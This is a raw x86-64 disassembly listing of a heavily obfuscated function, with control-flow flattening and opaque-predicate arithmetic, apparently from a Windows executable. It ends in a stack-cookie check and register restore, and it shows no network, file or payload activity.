mov edx, ecx
xor edx, 0xfd9ec5b8
xor ecx, 0x2613a47
and ecx, esi
not esi
and edx, esi
or ecx, edx
not ecx
or ecx, esi
cmp ecx, 0xffffffff
sete cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
and al, cl
or dl, cl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov ebx, edx
xor bl, cl
test cl, 1
mov eax, 0xa6e5ff1b
mov ecx, 0x2d363e74
cmovne eax, ecx
test dl, dl
mov edx, 0xa6e5ff1b
cmove eax, edx
test bl, 1
cmovne eax, ecx
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov rax, qword [rbp + 0x18]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x58]
add rsp, 0x20
mov eax, 0x4a542d67
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov rax, qword [rbp + 0xf0]
mov ecx, dword [0x140064010]
lea eax, [rcx - 1]
imul eax, ecx
mov r8d, eax
not r8d
mov ecx, eax
or ecx, 1
mov ebx, ecx
not ebx
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
mov esi, edi
not esi
mov edx, ecx
and edx, 0xba7cde72
and ebx, 0x4583218c
or ebx, edx
or ecx, esi
and esi, 0xba7cde72
and edi, 0x4583218d
or edi, esi
xor edi, ebx
not ecx
or ecx, edi
and r8d, 0x70d236f6
and eax, 0x8f2dc909
or eax, r8d
mov edx, eax
xor edx, 0x8f2dc909
xor eax, 0x70d236f6
and eax, ecx
not ecx
and edx, ecx
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
setne al
sete dl
cmp dword [0x140064014], 9
setg r8b
mov ebx, edx
or bl, r8b
xor dl, r8b
mov ecx, edx
not cl
and cl, r8b
xor cl, 1
mov r9d, ebx
xor r9b, cl
or cl, bl
xor cl, 1
or cl, r9b
and dl, r8b
xor al, r8b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and al, bl
and cl, dl
or cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov eax, ebx
xor al, cl
test al, 1
mov edx, 0x8361c88a
mov eax, 0x51700f54
cmovne edx, eax
test bl, 1
mov eax, 0x8361c88a
cmovne eax, edx
test cl, 1
cmove eax, edx
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov eax, dword [0x140064010]
mov ecx, dword [0x140064014]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov edi, eax
and edi, 0xfffffffe
mov edx, ebx
and edx, 1
or edx, edi
mov edi, edx
not edi
and edi, 0x506aec4f
and edx, 0xaf9513b0
or edx, edi
mov edi, edx
xor edi, 0x8b000030
xor edx, 0x506aec4f
mov esi, edx
and esi, 0x64d7dbc4
and edi, 0x9b28243b
or edi, esi
or edx, ebx
and ebx, 0x64d7dbc4
and eax, 0x9b28243b
or eax, ebx
xor eax, edi
not edx
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne r9b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r10b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
and dl, r10b
xor cl, 1
and cl, al
or cl, dl
and r9b, r10b
or r10b, r8b
and al, r8b
or al, r9b
mov edx, r10d
xor dl, al
xor al, 1
xor dl, 1
or al, r10b
xor al, 1
or al, dl
xor cl, 1
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0xfd87f080
mov eax, 0x3f0276fe
cmovne ebx, eax
test cl, 1
mov eax, ebx
mov ecx, 0xfd87f080
cmovne eax, ecx
test dl, 1
cmovne eax, ebx
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov rax, qword [rbp + 0x168]
mov rax, qword [rbp + 0x160]
mov rax, qword [rbp + 0x158]
mov rax, qword [rbp + 0x150]
mov rax, qword [rbp + 0xe0]
mov rax, qword [rbp + 0xd8]
mov rax, qword [rbp + 0xd0]
mov rax, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xc0]
mov rax, qword [rbp + 0xb0]
mov rax, qword [rbp + 0xa0]
mov rax, qword [rbp + 0x98]
mov rax, qword [rbp + 0x90]
mov rax, qword [rbp + 0x88]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x68]
mov ecx, dword [0x140064010]
mov eax, dword [0x140064014]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xd107eb23
and edx, ebx
not ebx
and ebx, 0x5000a801
and ecx, 0x81074322
or ecx, ebx
mov ebx, ecx
xor ebx, 0x1014320
xor ecx, 0x7ef8bcdd
mov edi, edx
not edi
mov esi, ecx
and esi, 0x863e9c03
and ebx, 0x51016320
or ebx, esi
or ecx, edi
and edi, 0x863e9c03
and edx, 0x79c163fc
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x2ef814dc
and ecx, 0xd107eb23
or ecx, edx
mov ebx, ecx
xor ebx, 1
and ebx, ecx
mov edx, ecx
not edx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
not edx
mov edi, ecx
not edi
mov esi, edx
and esi, 0x1e6cd321
and ebx, 0xe1932cde
or ebx, esi
or edx, edi
and edi, 0x1e6cd321
and ecx, 0xe1932cde
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
mov ebx, edx
xor ebx, 0x8a262f7d
and ebx, edx
or edx, 0x75d9d082
mov edi, ebx
not edi
mov esi, edx
and esi, 0x99fe3db6
and ecx, 0x2000249
or ecx, esi
or edx, edi
and edi, 0x99fe3db6
and ebx, 0x6601c249
or ebx, edi
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x75d9d082
and edx, 0x8a262f7d
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xa6772137
and edx, 0x5988dec8
or edx, ecx
xor edx, 0x5988dec8
cmp edx, 0xffffffff
sete cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl r8b
mov eax, ecx
xor al, r8b
mov r9d, eax
or r9b, dl
xor dl, cl
not dl
and dl, cl
and al, r8b
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov ebx, edx
and bl, r9b
xor cl, r9b
xor r9b, 1
xor dl, 1
and dl, r9b
or dl, bl
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x697b59b2
mov ebx, 0xb2cbc514
cmovne eax, ebx
test dl, dl
cmove eax, ebx
test cl, 1
mov ecx, 0x697b59b2
cmove eax, ecx
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
sub rsp, 0x20
call fcn.14003af10
add rsp, 0x20
movaps xmm6, xmmword [rbp + 0x1c0]
movaps xmm7, xmmword [rbp + 0x1d0]
movaps xmm8, xmmword [rbp + 0x1e0]
movaps xmm9, xmmword [rbp + 0x1f0]
movaps xmm10, xmmword [rbp + 0x200]
lea rsp, [rbp + 0x218]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret